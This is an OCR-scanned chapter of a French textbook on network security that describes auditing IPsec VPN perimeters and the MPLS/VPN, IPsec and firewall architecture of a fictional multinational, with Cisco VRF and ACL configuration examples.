Analyse de perimetres 

Bien qu'il soit important de controler les configurations des equipements reseau, il est 
non moins primordial de valider les perimetres IPsec implementes. Pour y parvenir, nous 
utilisons l'outil GRAPH, ainsi qu'un script d'extraction utilise pour determiner les 
noeuds et les arcs de notre graphe IPsec VPN. 

Avant d'utiliser l'outil GRAPH, il nous faut definir les noeuds et arcs de notre graphe. 
Pour cela, nous considerons tout d'abord que le nom d'une cryptomap suit la regie de 
configuration suivante : 

IPsec_X_Y 

X : identifiant unique d'un VPN IPsec 

Y: instance d'une nouvelle politique pour un VPN IPsec 

Par exemple, la cryptomap IPsec_l_l correspond au VPN 1 et a la politique de securite 1. 
De meme, IPsec_l_2 correspond au VPN 1 et a la politique de securite 2. 

Si, pour chaque configuration, nous arrivons a renseigner les champs de la table IPsec 
suivante (il peut y avoir plusieurs enregistrements par configuration de routeur), il est 
possible de construire le graphe IPsec VPN : 

table IPsec 

champ : NomRouteur : nom du routeur 

champ : CryptoMapId : identifiant unique d'un VPN IPsec 
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i 



champ : IpAdr : adresse ip de l'interface ou est appliquee une cryptomap 
champ : IpAdrDest : adresse ip destinatrice du tunnel IPsec 



Une fois la table IPsec construite a partir de 1' extraction des informations contenues dans 
les configurations, le produit cartesien de la table IPsec par elle-meme, sous reserve que 
l'adresse IP de l'interface (ou est appliquee une cryptomap) soit egale a l'adresse IP 
destinatrice du tunnel IPsec et que les CryptoMapId soient identiques, donne tous les arcs 
de notre graphe IPsec, comme l'illustre la requete SQL suivante : 



SELECT 



FROM 



WHERE 



Ipsec.NomRouteur, Ipsec. CryptoMapId, Ipsec. IpAdr, 
Ipsec. IpAdrDest, 

Ipsec_l.NomRouteur, Ipsec_l. CryptoMapId, Ipsec_l. IpAdr, 
Ipsec_l. IpAdrDest 

Ipsec, Ipsec AS Ipsec_l 

Ipsec. IpAdrDest=Ipsec_l.IpAdr and 
Ipsec. CryptoMapId = Ipsec_l. CryptoMapId 



Un sommet du graphe IPsec est done represents par le couple (NomRouteur/CryptoMa- 
p I d), et un arc par un enregistrement trouve par le produit cartesien precedemment decrit. 
Par ailleurs, l'asymetrie de configuration d'un tunnel IPsec indique que le graphe IPsec 
construit est dirige. 

Une fois les nceuds et les arcs extraits de la ou des configurations, nous fournissons ces 
donnees a l'outil GRAPH, lequel calcule les composantes connexes (s'il existe un 
chemin entre toute paire de sommets (x,y) de la composante) et fortement connexes (si, 
pour toute paire de sommets (x,y) de la composante, il existe un chemin de x a y et de y a 
x) du graphe IPsec VPN. 

Les noeuds contenus dans une composante connexe impliquent qu'ils communiquent 
entre eux. Si les composantes connexes ne sont pas egales aux composantes fortement 
connexes, e'est qu'il y a des inconsistances de configuration. De meme, toute configura- 
tion non bidirectionnelle entre deux sommets revele des inconsistances de configuration. 

Si nous appliquons cette methode a l'exemple suivant, compose de deux configurations 
(conf.txtl et conf.txt2), nous obtenons les resultats suivants : 

margot/17.1$ ./ipsec_graph.sh 
<stdin>: 4 nodes, 4 edges, 1644 bytes 

# nodes = 4 

# edges = 4 

# 

N ./confl.txt-192. 168. 1.1/192. 168. 1.154-ipsecl 

N ./conf 2. txt-192. 168. 1.154/192. 168. 1.1-ipsecl 

N . /conf 1. txt-192. 165. 1.1/192. 165. 1.154-ipsec2 

N ./conf 3. txt-192. 165. 1.154/192. 165. I.l-ipsec2 



# 

U 



./confl.txt-192. 168. 1.1/192. 168. 1.154-ipsecl 
192. 168. 1.1-ipsecl 



./conf2. txt-192. 168. 1.154/ 
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u 
u 
u 



/conf 2. txt-192. 168. 1.154/192. 168. 1.1-ipsecl 

192.168.1.154-ipsecl 
/conf 1. txt-192. 165. 1.1/192. 165. 1.154-ipsec2 

192.165.1.1-ipsec2 
/conf 3. txt-192. 165. 1.154/192. 165. I.l-ipsec2 

192.165.1.154-ipsec2 



/confl. txt-192. 168. 1.1/ 



/conf3. txt-192. 165. 1.154/ 



/confl. txt-192. 165. 1.1/ 



connected component (2 nodes): 

{ ./confl. txt-192. 168. 1.1/192. 168. 1.154-ipsecl ./conf 2. txt-192. 168. 1.154/ 

192. 168. 1.1-ipsecl } 
connected component (2 nodes): 
{ ./confl. txt-192. 165. 1.1/192. 165. 1.154-ipsec2 . /conf3. txt-192. 165. 1. 154/ 

192.165.1.1-ipsec2 } 
strongly connected component (2 nodes): 
{ ./confl. txt-192. 168. 1.1/192. 168. 1.154-ipsecl ./conf 2. txt-192. 168. 1.154/ 

192. 168. 1.1-ipsecl } 
strongly connected component (2 nodes): 

{ ./confl. txt-192. 165. 1.1/192. 165. 1.154-ipsec2 ./conf 3. txt-192. 165. 1.154/ 
192.165.1.1-ipsec2 } 

Les resultats de l'outil GRAPH indiquent que les deux composantes fortement connexes 
suivantes ont ete trouvees, comme l'illustre la figure 17.6 : 



Figure 17.6 

Composantes fortement 
connexes IP sec 




Composante 1 : le VPN ipsecl reference par ./confl. txt-192. 168. 1.1/ 

192.168.1.154-ipsecl est connecte au VPN ipsecl reference par ./conf2. txt- 
192. 168. 1.1 54/ 192. 168. 1.1-ipsecl. 

Composante 2 : le VPN ipsec2 reference par ./confl. txt-192. 165. 1.1/ 

192.165.1.154-ipsec2 est connecte au VPN ipsec2 reference par . /conf3. txt- 
192. 165. 1.1 54/ 192. 165.1. l-ipsec2. 
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Le controle de securite consiste done a verifier si les perimetres sont bien en ligne avec ce 
qui aurait du etre configure. En cas d'erreur, e'est que l'isolation des perimetres n'est 
plus assuree. Ce controle doit aussi etre pris en compte arm de fournir des donnees utiles 
pour l'etablissement d'un tableau de bord de la securite. 

Exemple d'un tableau de bord de la securite reseau 

Le tableau 17.1 recapitule les elements de l'architecture reseau qui permettent d'etablir 
un tableau de bord de securite pour 1' extension du reseau Radio Voie. 

Tableau 17.1 Exemples de donnees permettant de construire un tableau de bord 



Sous-reseau Categorie 

Intranet Configuration 

Evenement reseau 



Recherche 



Intersite 



Internet 



Tierce partie 



Balayage reseau 
Configuration 



Evenement reseau 



Balayage reseau 
Configuration 
Evenement reseau 



Balayage reseau 
Configuration 
Evenement reseau 



Balayage reseau 



Configuration 



Evenement reseau 



Element 

Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.) et 
routeurs (verification ACL, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.) et routeurs (violation ACL, etc.) 

Sur les commutateurs, routeurs, LAN et systemes connectes 

Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.), 
routeurs (verification ACL, etc.), boitiers IPsec (verification des regies, etc.) et pare- 
feu (verification des regies, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.), routeurs (violation ACL, etc.), boitiers IPsec (sessions 
echouees, etc.) et pare-feu (sessions echouees, etc.) 

Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (DMR R&D) et syste- 
mes connectes 

Des commutateurs (verification VLAN, etc.), routeurs (verification ACL, etc.), boitiers 
IPsec (verification des regies, etc.) et pare-feu (verification des regies, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.), boi- 
tiers IPsec (sessions echouees, sessions intranet, etc.) et pare-feu (sessions 
echouees, sessions intranet, etc.) 

Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (DMZ entrante, DMZ 
Interco) et systemes connectes 

Des commutateur (verification VLAN, etc.), routeur (verification ACL, etc.), boitier 
IPsec (verification des regies, etc.) et pare-feu (verification des regies, etc.) 

Des commutateur (acces non autorises, etc.), routeur (violation ACL, etc.), boitier 
IPsec (sessions echouees, sessions Internet, etc.) et pare-feu (sessions echouees, 
sessions Internet, etc.) 

Sur les commutateur, routeur, boitier IPsec, pare-feu, LAN (DMZ entrante, DMZ sor- 
tante) et systemes connectes 

Des commutateur (verification VLAN, etc.), modems (verification des controles 
d'acces, etc.), boitier IPsec (sessions echouees, etc.), serveurs dedies (verification 
des services ouverts, verification de I'integrite des fichiers sensibles, etc.) et pare- 
feu (verification des regies, etc.) 

Des commutateur (acces non autorises, etc.), modems (routeurs acces non 
autorises, etc.), boitier IPsec sessions echouees, etc.), pare-feu (violation des 
regies, etc.) et serveurs dedies RAS (sessions echouees, etc.) 
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Tableau 17.1 Exemples de donnees permettant de construire un tableau de bord (suite) 



Production 



Administration 



Balayage reseau 



Configuration 



Evenement reseau 



Balayage reseau 
Configuration 

Evenement reseau 

Balayage reseau 



Sur les commutateur, modems, boitier IPsec, pare-feu, LAN (DMZ entrante, DMZ 
RAS) et systemes connectes 

Des commutateurs (verification VLAN, etc.), routeurs (verification ACL, etc.) et ser- 
veurs dedies d'authentification (verification des services ouverts, verification de 
I'integrite des fichiers sensibles, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.) et ser- 
veurs dedies d'authentification (sessions echouees, etc.) 



Sur les commutateurs, routeurs, LAN et systemes connectes 

Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.) et 
routeurs (verification ACL, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.) et routeurs (violation ACL, etc.) 

Sur les commutateurs, LAN et systemes connectes 



Le tableau de bord de la securite peut etre constitue de nombreuses courbes suivant les 
domaines concernes. 

Par exemple, revolution dans le temps du nombre de faiblesses de securite detectees par 
les controles interne et externe permet de donner une mesure de 1' application de la poli- 
tique de securite reseau. 

La figure 17.7 illustre le fait que les faiblesses detectees par le controle interne de secu- 
rite sont les memes que celles detectees par le controle externe au mois de fevrier. Apres 
correction des faiblesses de securite, nous observons une baisse commune des deux cour- 
bes de mars a mai. Si la courbe du controle externe ou interne ne decroissait pas, une 
investigation de securite devrait etre menee afln de trouver et de clarifier la cause de ces 
faiblesses de securite. 



Figure 17.7 

Evolution du nombre de 
faiblesses de securite 
detectees 
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RadioVoie etend son reseau a ('international 

Les parts de marche acquises et le succes des produits de RadioVoie permettent a l'entre- 
prise d'etendre sa base de clients et son ambition de croissance. 

De nombreux prospects, tant militaires que du domaine public, originaires des Etats- 
Unis, d'Europe et d'Asie, sont devenus des clients. 

Besoins a satisfaire 

Afin de faire face a cette forte croissance d'activite, RadioVoie decide de creer des agen- 
ces satellites dans les pays ou le nombre de ses clients est important, afin de repondre a la 
demande croissante de support et de service. 

Chaque agence est autonome, financierement et operationnellement, mais doit suivre les 
regies de securite communes definies par le DSSI de l'entreprise. Toutes les agences sont 
considerees comme des entreprises de la multinationale RadioVoie. 

Les sites de production disposent d'un reseau de recherche et developpement, d'un 
reseau bureautique et d'un reseau de production. En dehors des sites de production, les 
agences ne disposent que de reseaux bureautiques. Le reseau global interconnectant les 
differentes agences doit offrir des garanties de qualite de service ainsi que des mecanis- 
mes d' isolation de trafic offrant un premier niveau de securite reseau. 

Les militaires de chacun des pays ou RadioVoie est implantee ont des exigences de secu- 
rite draconiennes. Tous exigent qu'une unite de production soit implementee dans leur 
pays respectif selon des contraintes de securite particulieres. L'entreprise reussit a limiter 
ces contraintes en regroupant les pays appartenant a l'OTAN dans une meme unite de 
production situee a Bruxelles. Ce site obeit aux memes contraintes que Mouans-Sartoux. 

Compte tenu des enjeux strategiques et financiers lies au developpement de l'entreprise, 
RadioVoie decide d'investir a la fois dans le reseau et dans les solutions de securite qui 
seront retenues. 



Etude de risques 

Plusieurs acteurs jouent un role cle dans le reseau interconnectant les entreprises de la 
multinationale. Ces acteurs sont l'operateur de telecommunications, l'entite de securite 
de la multinationale et les equipes de recherche-developpement, de production et de 
bureautique. Chacun de ces roles est associe a une responsabilite de securite, qui peut 
etre d'ordre physique ou logique. Un des risques majeurs encouru par RadioVoie est que 
ces responsabilites ne soient pas clairement definies, introduisant de fait une mauvaise 
comprehension de la securite et des failles resultantes. 

L' architecture technique mise en place distingue done des perimetres de securite ainsi 
que des objectifs de securite a mettre en place. II s'agit de limiter les risques d' infiltration 
par une separation des elements de securite par perimetre. 
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Reste la solution d' interconnexion reseau, qui doit fournir une isolation du traflc et des 
options de qualite de service afln de diminuer les risques associes a l'integrite et a la 
disponibilite des services reseau. 

Politique de securite reseau 

D'apres les besoins a satisfaire et l'etude de risques, RadioVoie definit une politique de 
securite minimale, qui s'appuie sur des domaines de securite pour attribuer aux acteurs 
des responsabilites d'ordre physique et logique. 

Comme explique precedemment, les acteurs de la politique de securite sont l'operateur 
de telecommunications, qui offre la connectivity reseau aux sites des entreprises de la 
multinationale, l'entite de securite de la multinationale, qui a en charge la definition de la 
politique de securite reseau et la gestion des equipements de securite connectes au 
reseau, et les equipes de recherche et developpement, de production et de bureautique, 
qui doivent se conformer a la politique de securite reseau et etre les correspondants secu- 
rite de leur reseau respectif. 

Le modele securitaire propose repose sur l'architecture illustree a la figure 17.8. 



Figure 17.8 

Separation logique des 
perimetres de securite 




Le service d' interconnexion des entreprises de la multinationale est realise au travers du 
reseau de l'operateur de telecommunications. II s'agit du premier domaine de securite, 
identifie sous le nom « domaine reseau ». 

Pour chaque entreprise de la multinationale, une zone d'acces est definie, dont la fonc- 
tion consiste a interconnecter le reseau interne intranet de 1' entreprise au reseau interen- 
treprise. Cette zone a en outre pour role d'etablir une premiere zone de securite entre ces 
reseaux. II s'agit du deuxieme domaine de securite, identifie sous le nom « domaine 
d'acces ». 

Pour chaque entreprise, une zone intranet local connecte le reseau d' entreprise a la zone 
d'acces. Cette zone devant evidemment etre securisee, un deuxieme niveau de securite du 
reseau interne intranet de l'entreprise est defini. II s'agit du troisieme domaine de secu- 
rite, identifie sous le nom « domaine intranet ». 
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Politique de securite du domaine reseau 

Le domaine de securite relatif au reseau interconnectant les differentes entreprises de 
Radio Voie est sous la responsabilite de l'operateur de telecommunications, comme 
l'illustre la figure 17.9. 



Figure 17.9 

Perimetre du domaine 
reseau 




Operateur 
(responsabilite physique et logique) 

< ► 



La politique de securite minimale relative au domaine reseau edicte les regies de securite 
suivantes : 

• « L'operateur de telecommunications offre un service de reseau prive virtuel non 
accessible depuis Internet. » 

• « L'operateur de telecommunications explique les mecanismes de securite mis en 
ceuvre sur son reseau et ses services de reseau prive virtuel. » 

• « L'operateur de telecommunications garantit et demontre que le perimetre logique de 
securite du reseau prive virtuel offert est limite au reseau prive virtuel de la multina- 
tionale RadioVoie. » 

• « L'operateur de telecommunications mene des controles de securite logique sur les 
configurations des equipements offrant le service de reseau prive virtuel et diffuse les 
rapports du reseau prive virtuel a la multinational RadioVoie. » 

• « L'operateur de telecommunications s' engage a donner toutes les informations rela- 
tives a des incidents de securite qui mettraient en peril V isolation du reseau prive 
virtuel de la multinationale RadioVoie. » 

• « Un point de contact securite avec l'operateur de telecommunications est etabli, 
incluant les procedures de reponse aux incidents. » 

Politique de securite du domaine d'acces 

Le domaine de securite relatif a la zone d'acces entre le reseau intranet d'une des entre- 
prises de RadioVoie et le domaine reseau est sous la responsabilite physique de l'entre- 
prise concernee et sous la responsabilite logique de l'operateur de telecommunications 
pour les equipements offrant le service de connexion au domaine reseau, comme illustre 
a la figure 17.10. 
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Tout equipement n'appartenant pas a l'operateur de telecommunications est sous la 
responsabilite logique de l'entreprise. 



Figure 17.10 

Perimetre du domaine acces 




Operateur et entreprise 
(responsabilite logique) 



Entreprise 
(responsabilite physique ) 

< ►! 




La politique de securite minimale relative au domaine d' acces edicte les regies de secu- 
rite suivantes : 

• « L'operateur de telecommunications demontre que V equipement de connexion au 
reseau prive virtuel installe dans un site physique d'une entreprise de RadioVoie ne 
permetpas d'acceder au reseau prive virtuel de la multinational . » 

• « L'operateur de telecommunications permet, si necessaire, d'aj outer aux equipe- 
ments de connexion au reseau prive virtuel de la multinationale des filtrages sur 
protocoles. » 

• « Les echanges reseau transitant sur le reseau prive virtuel de la multinationale sont 
chiffres. » 

• « L'etablissement de tunnels chiffres entre deux sites est authentifie a Vaide de certifi- 
cats electroniques. » 

• « Les certificats sont utilises pour authentifier les sessions reseau. Ces certificats elec- 
troniques ne sont pas fournis par I 'operateur de telecommunications mais par une 
infrastructure a cles publiques propre a la multinationale et a ses entreprises. » 

• « Les equipements reseau et de chiffrement sont heberges dans une salle informatique 
protegee des menaces physiques (humidite, feu, chaleur, etc.) et a acces restreint et 
controle. » 

• « Des procedures d' incident de securite de la zone d' acces sont definies par l'entre- 
prise ay ant la gestion de la zone d' acces. » 

Politique de securite du domaine intranet 

Le domaine de securite relatif au reseau intranet de l'entreprise est sous la responsabilite 
physique et logique de l'entreprise, comme illustre a la figure 17.1 1. 

La politique de securite minimale relative au domaine intranet edicte les regies de secu- 
rite suivantes : 
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Figure 17.11 

Perimetre du domaine 
intranet 





Entreprise 
(responsabilite logique et physique ) 

< ► 



• « Un sy steme de filtrage du trafic echange entre le domaine d'acces et le domaine 
intranet est mis en place. » 

• « Un sy steme de translation d'adresse et de port de services est implements afin de 
cacher le plan d'adressage interne du reseau d'une entreprise. » 

• « Tout incident de securite detecte est repertorie etfait Vobjet d'une enquete. De plus, 
tout incident de securite est aussitot connu de toutes les entreprises de la 
multinationale. » 

• « Les journaux d'activite des systemes de filtrage, translation et detection d' intrusion 
sont centralises et soumis a des logiciels de correlation afin de detecter ou de 
confirmer des incidents de securite. Les journaux d'activite sont archives et sauve- 
gardes sur un support physique. » 

• « Des procedures d' incident de securite de la zone intranet sont definies par V entre- 
prise concernee. » 

Solution de securite 

Le reseau de Radio Voie comprend desormais les sites illustres a la figure 17.12. 



Figure 17.12 

Les sites du reseau 
RadioVoie 
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RadioVoie mettant en oeuvre une solution technique pour chaque domaine de securite 
reseau, nous presentons ces solutions pour chacun de ces domaines. Nous detaillerons 
ensuite les risques couverts et les risques restants a couvrir. 

Solution de securite pour le domaine reseau 

L'une des problematiques recurrentes des reseaux est de faire transiter des donnees le 
plus rapidement et le plus surement possibles. La disponibilite des services reseau est 
generalement couverte par la topologie du reseau. Quant a l'integrite des services reseau, 
elle est generalement couverte par les protocoles reseau. 

Dans les reseaux IP, le routage des paquets s'effectue sur les adresses IP, ce qui necessite 
de lire les en-tetes IP a chaque passage dans un noeud reseau. Pour reduire ce temps de 
lecture, deux protocoles ont vu le jour afin d'ameliorer le transit global par une commu- 
tation des paquets au niveau 2 et non plus 3, comme le fait IP. Ces protocoles sont ATM 
(Asynchronous Transfer Mode), sur une initiative de 1' ATM Forum, et MPLS (Multipro- 
tocol Label-Switching), sur une initiative de Cisco et IBM. Dans la mesure ou le proto- 
cole MPLS est devenu un standard IETF (Internet Engineering Task Force) et qu'il s'est 
impose face a 1' ATM, nous nous penchons davantage sur ce protocole et ses fonctionna- 
lites. 

Plutot que de decider du routage des paquets dans le reseau a partir des adresses IP, 
MPLS s'appuie sur des labels, ou etiquettes. La commutation de paquets se realise sur 
ces labels et ne consulte plus les informations relatives au niveau 3, incluant les adresses 
IP. En d'autres termes, l'acheminement ou le routage des paquets est fonde sur les labels 
et non plus sur les adresses IP, comme sur le reseau Internet. La figure 17.13 illustre ce 
mode de fonctionnement. 



Figure 17.13 

Commutation des paquets 
dans un reseau MPLS 
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Routage sur 
des adresses IP 




Reseau MPLS 
d'un operateur 
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Meme si 1' amelioration des equipements hardware ne rend plus aussi necessaire 
qu'auparavant la commutation au niveau 2 plutot qu'au niveau 3, le protocole MPLS 
offre des avantages notables par rapport au protocole IP. II est, par exemple, possible de 
creer des reseaux prives virtuels reposant sur des classes de services afin de garantir des 
delais d'acheminement. 

Un reseau prive virtuel MPLS/VPN permet de connecter des sites distants sur un reseau 
partage par tous les clients. Le trafic du reseau prive virtuel est isole logiquement des 
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autres trafics VPN. Cette isolation est realisee par un mecanisme de routage fonde sur le 
protocole MP-BGP, qui est une extension du protocole de routage BGP (Border Gateway 
Protocol) pour les reseaux MPLS. 

Le protocole MP-BGP fonctionne en collaboration avec un protocole de distribution de 
labels, LDP (Label Distribution Protocol), afln d'associer un label a une route externe. 
Dans ce cas, deux niveaux de labels sont utilises, le premier correspondant a la route dans 
le VPN concerne, et le second correspondant au PE permettant d'atteindre le prochain 
saut BGP. 

Chaque VPN peut faire transiter les classes d'adresses IP qu'il desire sans qu'il y ait de 
conflit d'adresse IP avec d' autres VPN, puisque chaque VPN a sa propre table de routage 
et que, sur les reseaux MPLS, la commutation du trafic reseau est realisee sur des labels 
uniques, et non sur des adresses IP. Pour cela, un identifiant, appele RD (Route Distin- 
guisher), est accole a chaque sous-reseau IPv4 afin de creer une route VPNv4. 

Un reseau MPLS/VPN est compose de routeurs P (Provider), dedies a la commutation, 
ou LSR (Label Switch Router), de routeurs PE (Provider Edge), dedies a la creation des 
MPLS/VPN ainsi qu'a la connectivite avec les equipements localises chez les clients, ou 
LER (Label Edge Router), et de routeurs CE (Customer Edge), installes chez les clients 
et connectes aux routeurs PE. 

Seuls les routeurs PE contiennent la definition effective des MPLS/VPN, les routeurs P et 
CE n' ay ant aucune connaissance de la configuration des MPLS/VPN. Les routeurs P 
commutent des labels MPLS, tandis que les routeurs CE commutent des adresses IP, 
comme l'illustre la figure 17.14. 



Figure 17.14 

Connexions a un reseau 
MPLS 




Commutation 
sur des labels 



La securite logique d'un MPLS/VPN repose sur la configuration logique du VPN dans 
les configurations des routeurs PE. 

Pour mieux comprendre les enjeux de configuration des MPLS/VPN, prenons l'exemple 
de deux VPN (rouge, bleu), que nous allons definir afin de relier deux sites differents 
pour chacun des VPN, comme illustre a la figure 17.15. 
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Figure 17.15 
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un reseau MPLS 
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Nous avons vu que le RD permettait de garantir l'unicite des routes VPNv4 echangees 
entre les PE, mais ne deflnissait pas la maniere dont les routes etaient inserees dans les 
VPN. Pour y parvenir, l'import et l'export de routes sont realises a l'aide d'une commu- 
naute etendue BGP, appelee RT (Route-Target). Les route-targets doivent etre vues 
comme des flltres appliques sur les routes VPNv4. 

Les routeurs CE1 et CE2 rouge appartiennent au MPLS/VPN rouge et les routeurs CE1 
et CE2 bleu au MPLS/VPN bleu. La configuration des routeurs PE permet de creer ces 
VPN sur le reseau par les configurations decrites ci-dessous des deux PE (implementa- 
tion Cisco). 

Configuration du routeur PE, connecte a CE1 rouge et CE1 bleu : 

! Definition du MPLS/VPN rouge : 

p vrf rouge 
La valeur du rd (route distinguished permet d'isoler les routes 
echangees entre les PE routeurs pour chaque MPLS/VPN : 

rd xl 
Les valeurs des route-targets permettent de definir le MPLS/VPN par 
le fait que le MPLS/VPN rouge importe toutes les routes vehiculant 
la route-target 100:1 et exporte les routes apprises de son cote 
au reseau MPLS en inserant la route-target 100:1 : 

route-target import 100 : 1 

route-target export 100 : 1 

! Definition du MPLS/VPN bleu : 
ip vrf bleu 

rd x2 

route-target import 100 : 2 

route-target export 100 : 2 

! Connexion de CE1 rouge au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN rouge : 
ip vrf forwarding rouge 
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! Connexion de CE1 bleu au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN bleu : 
ip vrf forwarding bleu 



Configuration du routeur PE, connecte a CE2 rouge et CE2 bleu : 

! Definition du MPLS/VPN rouge : 
ip vrf rouge 

! La valeur du rd (route distinguished permet d'isoler les routes 
! echangees entre les PE routeurs pour chaque MPLS/VPN : 
rd x3 

! Les valeurs des route-target permettent de definir le MPLS/VPN par 
! le fait que le MPLS/VPN rouge importe toutes les routes vehiculant 
! la route-target 100:1 et exporte les routes apprises de son cote 
! au reseau MPLS en inserant la route-target 100:1 : 

route-target import 100 : 1 

route-target export 100 : 1 

! Definition du MPLS/VPN bleu : 
ip vrf bleu 

rd x4 

route-target import 100 : 2 

route-target export 100 : 2 

! Connexion de CE2 rouge au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN rouge : 
ip vrf forwarding rouge 



! Connexion de CE2 bleu au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN bleu : 
ip vrf forwarding bleu 



L'isolation d'un MPLS/VPN repose done sur la configuration logique des PE routeurs. 
Le perimetre d'un MPLS/VPN peut etre determine a partir de toutes les configurations 
des PE routeurs constituant le reseau MPLS. 

La securite du reseau MPLS ainsi que la configuration logique des MPLS/VPN sont sous 
la responsabilite du fournisseur de services reseau. Ce dernier doit clairement expliquer 
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dans sa politique de securite comment il remplit ses obligations et ses responsabilites de 
securite. 

Solution de securite pour le domaine d'acces 

De nombreuses contraintes de securite pesent sur le domaine d'acces. Elles imposent 
notamment la separation des fonctions de securite sur des equipements dedies. 

Le domaine d'acces est constitue d'un routeur dedie a la connexion au routeur PE et au 
routage et d'un boitier de chiffrement speciflque, qui n'implemente que la fonction 
IPsec, comme l'illustre la figure 17.16. 



Figure 17.16 

Solution technique pour la 
zone d'acces 




-I Routeur j- 



BoTtier de 
chiffrement IPsec 



Le routeur 

Le routeur est gere par l'operateur de telecommunications. II se connecte au reseau 
MPLS et est done le premier equipement traverse. La securite physique de cet equipe- 
ment demeure cependant sous la responsabilite de l'entreprise. 

Pour renforcer la securite du reseau prive virtuel, une plage d'adresses IP est speciflque- 
ment deflnie arm d'attribuer ces adresses aux routeurs et aux boitiers de chiffrement cote 
reseau du reseau prive virtuel. Comme nous le verrons, le reste du traflc est cache par les 
tunnels IPsec etablis sur le reseau prive virtuel. On appelle cette plage d'adresses IP 
ip_vpn_adresses . 

Quelle que soit la marque du routeur fourni par l'operateur de telecommunications 
(Cisco, Bay Networks, etc.), des filtrages fondes sur des ACL (Access Control List) 
permettent de dresser une premiere barriere de securite au niveau du routeur. 

Dans notre cas, deux ACL peuvent etre deflnies sur l'interface WAN du routeur : 

! Filtrage du trafic du WAN vers le routeur : 
ip access-list extended site-acl -in 

! Filtrage du trafic IPsec appartenant au reseau prive virtuel : 
permit udp ip_vpn_adresses ip_vpn_adresses eq isakmp 
permit udp ip_vpn_adresses eq isakmp ip_vpn_adresses 
permit esp ip_vpn_adresses ip_vpn_adresses 
permit ahp ip_vpn_adresses ip_vpn_adresses 
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! On laisse passer du trafic ICMP : 

permit icmp ip_vpn_adresses ip_vpn_adresses echo 

permit icmp ip_vpn_adresses ip_vpn_adresses echo-reply 

! Destruction du reste du trafic et generation des logs : 
deny ip any any log 

! Filtrage du trafic du routeur vers le WAN : 
ip access-list extended site-acl-out 

! Filtrage du trafic IPsec appartenant au reseau prive virtuel : 

permit udp ip_vpn_adresses eq isakmp ip_vpn_adresses 

permit udp ip_vpn_adresses ip_vpn_adresses eq isakmp 

permit esp ip_vpn_adresses ip_vpn_adresses 

permit ahp ip_vpn_adresses ip_vpn_adresses 

! On laisse passer du trafic ICMP : 

permit icmp ip_vpn_adresses ip_vpn_adresses echo 

permit icmp ip_vpn_adresses ip_vpn_adresses echo-reply 

! Destruction du reste du trafic et generation des logs : 
deny ip any any log 

! Filtrage du trafic du routeur de et vers le WAN et application 

! des ACL sur l'interface WAN du routeur : 

(Interface ATM) : 

ip access-group site-acl -in 

ip access-group site-acl-out 



Les boitiers de chiffrement IPsec 

Pour les boitiers de chiffrement, RadioVoie opte pour une solution entierement dediee au 
chiffrement IPsec et n'offrant pas d'autres options, tel le routage ou le filtrage du trafic. 
L'idee est de suivre la regie de separation logique et physique des fonctions de securite. 

Les nombreux boitiers IPsec disponibles implemented de plus en plus d' options. Le 
tableau 17.2 recapitule ces options pour les differentes offres du marche. 

RadioVoie opte pour les solutions de type AEP ou Bull, limitees volontairement a la 
fonction de gestion de tunnels IPsec. 

Ces boitiers couvrent bien le principe de segregation des fonctions de securite et repon- 
dent done aux regies edictees par la politique de securite reseau. 

Solution de securite pour le domaine intranet 

Le domaine intranet correspond aux reseaux internes des sites de la multinationale 
RadioVoie. D'apres les regies deflnies par la politique de securite reseau, un pare-feu est 
implements pour prendre en charge le filtrage des traflcs reseau mais aussi la translation 
d'adresses et de port arm que le trafic soit emis vers les boitiers de chiffrement IPsec. 
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Tableau 17.2 Types de bottiers IPsec 



Service 


Nortel VPN 
Router series 


AEPEDxxM 
series 


Evidian/Bull 
TrustWay VPN series 


Thales 

Datacryptor 

series 


Nokia VPN 
series 


Protocole PPP 


Oui 


Non 


Oui 


Non 


Oui 


Protocole IPsec 


Oui 


Oui 


Oui 


Oui 


Oui 


Algorithmes 
de chiffrement 


3DES, AES, etc. 


3DES, 
AES, etc. 


3DES, AES, etc. 


3DES, AES, etc. 


3DES, 
AES, etc. 


Authentification 


Certificat x509, 
utilisateur/mot de 
passe, etc. 


Certificat 
x509 


Certificat x509, utilisa- 
teur/mot de passe, etc. 


Certificat x509 


Certificat x509, 
utilisateur/mot 
de passe, etc. 


NAT/PAT 


Oui 


Oui 


Non 


Non 


Non 


Filtres IP 


Pare-feu stateful 


Non 


Oui 


Non 


Pare-feu state- 
ful 


Protocoles 
de routage 


Oui (RIP, 
OSPF, etc.) 


Non 


Non 


Non 


Oui (RIP, 
OSPF, etc.) 


Architecture 
haute disponibilite 


Oui 


Oui 


Oui 


Oui 


Oui 



L' architecture adoptee est illustree a la figure 17.17. 



Figure 17.17 

Solution technique pour le 
domaine intranet 
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Les nombreux produits de pare-feu disponibles sur le marche repondent souvent a un 
besoin de securite specifique. 

Parmi les pare-feu les plus courants, citons les suivants : 

Checkpoint Software : Checkpoint Next Generation Firewall- 1 

Cisco Systems, Inc. : Cisco Firewall Pix Family ; 

CyberGuard Corporation : CyberGuard Premium Firewall Appliance Line 

FortiNet Inc. : FortiGate-300 

NetScreen Technologies : Netscreen Family 
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Les besoins de securite de ce domaine visent avant tout les fonctions de flltrage du traflc 
reseau de l'entreprise. Le choix se porte done naturellement sur un produit con^u dans 
cette optique, le pare-feu Checkpoint. 

Solution de securite pour ('interconnexion des sites 

L' architecture reseau du domaine d' interconnexion des sites de Paris et Mouans-Sartoux 
est illustree a la figure 17.18. 
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Figure 17.18 

Interconnexion des sites de Paris et Mouans-Sartoux 



Du point de vue purement reseau, le routeur d' interconnexion est remplace par un 
routeur CE connecte au routeur PE de l'operateur de telecommunications. 

Pour le domaine d'acces intranet, nous reconnaissons le routeur CE connecte au pare-feu 
et le boitier IPsec connecte par deux interfaces pare-feu. Rappelons que cette architecture 
